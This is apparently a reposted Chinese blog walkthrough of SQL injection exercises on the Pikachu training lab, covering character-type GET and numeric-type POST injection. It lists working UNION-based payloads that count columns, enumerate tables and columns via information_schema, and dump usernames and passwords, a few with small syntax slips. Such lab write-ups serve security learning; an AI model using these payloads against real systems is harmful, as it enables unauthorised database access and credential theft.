PIKACHU靶场 ——字符和数字型SQL注入练习

目录

一、字符型(GET)

1.判断传参和注入点

2.判断字段数

3.判断数据库名

4.查找表

5.查找字段

6.获取数据

二、数字型(POST)

1.判断传参和注入点

2.判断字段数

3.获取数据库名

4.查表名

5.查字段名

6.获取数据 


一、字符型(GET)

1.判断传参和注入点

进入靶场可以看见一个输入框,所以现在里面判断注入点类型,在输入框中输入了1'后,报错,并且显示到URL中,判断参数提交方式为GET传参

 

在URL栏中输入了一下语句,判断为字符型SQL注入漏洞

1' #报错

1'and'1'='1 #未报错

1'and'1'='2 #未报错

综上为字符型SQL注入漏洞

2.判断字段数

输入语句查询语句,发现3的时候报错,判断字段只有2个

1' order by 1,2,3 --+

3.判断数据库名

输入语句,发现了数据库名为pikachu

1' union select 1,database() --+

4.查找表

输入语句,由于表可能不止一个,可以使用聚合函数group_concat()查询

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

5.查找字段 

1' union select 1,group_concat(column_name) from information_schema.columns where table_name 'users' --+

6.获取数据

1' union select username,password from users --+

二、数字型(POST)

1.判断传参和注入点

提交了数据之后发现URL没有任何数据显示,判断传参类型位POST传参方式,利用BP进行抓包,在下面发现了id=&submit=,这个就是注入点,将这段注入点复制送入hacrkbar进行判断注入点类型,输入语句之后,判断位数字型SQL注入漏洞

 

2.判断字段数

输入下列语句,3的时候报错,说明数据库只有两个字段

id 1 order by 3 #

 

3.获取数据库名

id 1 union select 1,database() 

4.查表名

输入语句,由于表可能不止一个,可以使用聚合函数group_concat()查询

id=1  union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()  #

5.查字段名

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' #

6.获取数据 

id=1 union select password,username from users #

猜你喜欢

转载自blog.csdn.net/qq_60503432/article/details/129932563